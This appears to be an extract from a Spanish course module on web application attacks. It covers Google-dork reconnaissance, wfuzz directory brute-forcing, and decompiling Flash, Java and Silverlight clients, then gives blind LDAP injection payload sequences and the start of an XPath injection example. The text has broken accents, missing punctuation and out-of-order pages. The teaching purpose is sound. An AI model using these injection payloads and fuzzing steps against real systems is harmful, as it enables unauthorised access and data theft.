Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
